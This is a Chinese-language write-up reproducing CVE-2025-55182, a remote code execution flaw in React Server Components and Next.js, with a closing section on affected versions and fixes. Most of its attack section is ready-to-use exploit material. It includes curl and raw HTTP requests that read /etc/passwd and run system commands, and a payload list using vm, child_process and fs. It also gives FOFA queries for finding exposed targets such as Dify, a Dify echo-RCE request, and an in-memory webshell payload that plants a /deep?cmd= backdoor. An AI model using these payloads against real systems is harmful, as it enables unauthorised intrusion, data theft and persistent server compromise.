CVE-2025-55182的复现与修复
漏洞描述
该漏洞存在于 React Server Components 中,允许攻击者在未认证的情况下,通过精心构造的请求执行远程代码。其核心问题在于对用户输入的处理不当,导致攻击者可以操纵原型链、调用危险模块(如 vm、child_process 等)或通过文件操作实现间接代码执行
漏洞利用的核心路径
漏洞利用主要依赖以下三种关键技术路径:
1. 直接远程代码执行(Direct RCE)
攻击者通过污染原型链或对象属性,使目标代码在 Node.js 环境中直接调用高危内置模块(如 vm、child_process 等),实现一行代码执行。 典型利用方式:
- 使用 vm.runInThisContext()、vm.runInNewContext() 或 new Function() 直接执行恶意 JavaScript 字符串
- 使用 child_process.exec()、child_process.execSync() 等直接执行系统命令
2. 间接远程代码执行(Indirect RCE)
当直接危险模块被移除或不可达时,攻击者转而利用 fs 模块或其他持久化手段,先写入恶意文件,再触发加载执行。 典型利用方式:
- 通过 fs.writeFileSync / fs.appendFile 等将恶意代码写入 .js、.mjs、.json(带 "type": "module" 时可执行代码)或启动脚本
- 再通过 require()、import()、module#_load 钩子、或触发自动加载机制(如包的 preinstall 脚本)执行已写入的恶意文件
3. 原型链污染导致的原始能力恢复(Prototype Pollution → Primitives Recovery)
这是最常见的入口点。即使目标 bundle 中没有直接暴露危险模块,攻击者仍可通过污染 proto、constructor.prototype 或 object.prototype 等属性,逐步恢复关键原语,最终拿到 Function 构造函数或 child_process 对象。
漏洞验证
1. 安装依赖
# 安装 Node.js 和 npm(以 v18 为例)
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install -y nodejs git
# 验证安装
node -v # 应输出 v18.x.x
npm -v # 应输出 9.x.x 或更高
安装失败时更新系统包
sudo apt update && sudo apt upgrade -y

2.复现环境搭建
克隆代码仓库
git clone https://github.com/ejpir/CVE-2025-55182-poc.git
cd CVE-2025-55182-poc
安装项目依赖
npm install
3.启动环境
node --conditions react-server --conditions webpack src/server.js
默认为3002端口

4.验证环境
本地测试
- 开启另一个终端
cd CVE-2025-55182-poc
(1) 通过vm模块验证RCE,测试脚本
node exploit-rce-v4.js
(2)测试所有RCE(vm, child_process, fs)
node exploit-all-gadgets.js
(3)持久化攻击ssh key
node exploit-persistence.js
测试所有

远程测试
curl测试
- read
curl -X POST http://ip:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

- rce
curl -X POST http://ip:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

- 数据包测试
POST http:/localhost:3002/formaction HTTP/1.1
Host: localhost:3002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
Content-Length: 301
Content-Type: multipart/form-data; boundary=------------------------f3c2dbe7617e6475
Connection: keep-alive
--------------------------f3c2dbe7617e6475
Content-Disposition: form-data; name="$ACTION_REF_0"
--------------------------f3c2dbe7617e6475
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"child_process#execSync", "bound": ["whoami"] }
--------------------------f3c2dbe7617e6475--
- 其他payload
{"id":"child_process#execSync", "bound": ["whoami"] }
{"id":"fs#readFileSync", "bound": ["/etc/passwd"] }
{"id":"fs#writeFileSync", "bound": ["/tmp/pwned.txt","CVE-2025-55182"] }
{"id":"vm#runInThisContext", "bound": ["process.mainModule.require("child_process").execSync("id").toString()"]}
{"id":"vm#runInNewContext", "bound": ["this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()"]}
- fofa语法
(body="react.production.min.js" || body="React.createElement(") && (app="React Router" || app="React.js")
大多数已公开的激进型 PoC 都尝试注入固定 payload(如 vm#runInThisContext)或者依赖默认的模块 ID(比如 "id":"vm")。但在生产环境(Webpack/Turbopack 打包)中,这些模块 ID 通常会被压缩成整数(例如 742)或被 tree-shaking 移除,导致即使服务器确实存在漏洞,RCE 攻击也会失败,从而给人一种“已经安全”的假象。
Dify
Dify是一个面向开发者的AI应用开发平台,提供可视化工具和API接口,帮助用户快速构建、部署和管理基于大语言模型(如GPT)的应用程序。
在这个CVE中,对Dify的影响最大
Dify漏洞复现:
fofa语法
app="Next.js" && body="/_next/static/chunks/app/"
body="react.production.min.js" || body="React.createElement(" || app="React.js" || app="Dify"
poc
有回显命令执行
POST http://ip/apps HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Connection: keep-alive
Content-Length: 708
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
X-Nextjs-Html-Request-Id: hwCCDMKKJSPuYRm1aye95
X-Nextjs-Request-Id: 5068n4gu
Accept-Encoding: gzip, deflate, br
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res = Buffer.from(process.mainModule.require('child_process').execSync('pwd')).toString('base64');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
回显在X-Action-Redirect头上

base64解码
其他payload
内存马版本
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='/deep'){const cmd=parsedUrl.query.cmd||'whoami';cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{'Content-Type':'application/json'});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
parsedUrl.pathname==='/deep'
/deep?cmd=
武器化exp
https://github.com/Rsatan/Next.js-Exploit-Tool/

检测脚本:
https://github.com/heiheishushu/rsc_detect_CVE-2025-55182/blob/main/react_server_component_detect.py
4.漏洞影响范围及修复建议
漏洞影响范围总结
| 组件/框架 | 受影响版本 | 已修复版本 | 备注 |
|---|---|---|---|
| react-server-dom-webpack | < 19.2.0 | ≥ 19.2.0 | React Server Components 核心包(webpack 构建) |
| react-server-dom-turbopack | < 19.2.0 | ≥ 19.2.0 | React Server Components 核心包(turbopack 构建) |
| Next.js | 15.0.0 ∼ 15.0.4 | ≥ 15.0.5 | 所有使用 App Router + React Server Components 的项目均受影响 |
| 该漏洞存在于以下包的 19.0、19.1.0、19.1.1 和 19.2.0 版本中: |
- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack
漏洞修复建议
1.安全升级建议
# Next.js 项目(推荐方式)
npm install next@latest # 自动升级到 ≥15.0.5,已包含修复版 react-server-dom
# 或手动指定
npm install next@15.0.5 # 或更高版本
# 如果是直接依赖 react-server-dom 的自定义项目
npm install react-server-dom-webpack@19.2.0 react-server-dom-turbopack@19.2.0
2.限制危险模块
通过 webpack 配置排除 vm、child_process 等模块,避免打包到服务器代码中。
3.校验输入
过滤含 proto、vm# 等关键词的恶意请求,只允许白名单内的参数。
4.降权运行
服务器进程用低权限账号启动,限制文件读写和命令执行范围。
参考资料
https://blog.csdn.net/qq_62275604/article/details/155561777
https://mp.weixin.qq.com/s/CLIEkPplM9Yu9V9ilYOS0A
https://mp.weixin.qq.com/s/QJcb7pb1vEk-lTVM-48fAw
免责声明
本内容仅供参考,不构成任何形式的专业建议或承诺。使用者应自行判断内容的适用性,并承担因使用或依赖该内容而产生的所有风险。
对于因使用或无法使用本内容而导致的任何直接、间接、附带或后果性损失,包括但不限于数据丢失、利润损失或业务中断,概不负责。
本内容可能包含外部链接或引用,但这些链接或引用的准确性和完整性不作保证。访问或使用这些外部资源需自行承担风险。
所有信息“按原样”提供,不附带任何明示或暗示的保证,包括但不限于准确性、及时性或适用于特定目的的保证。
浙公网安备 33010602011771号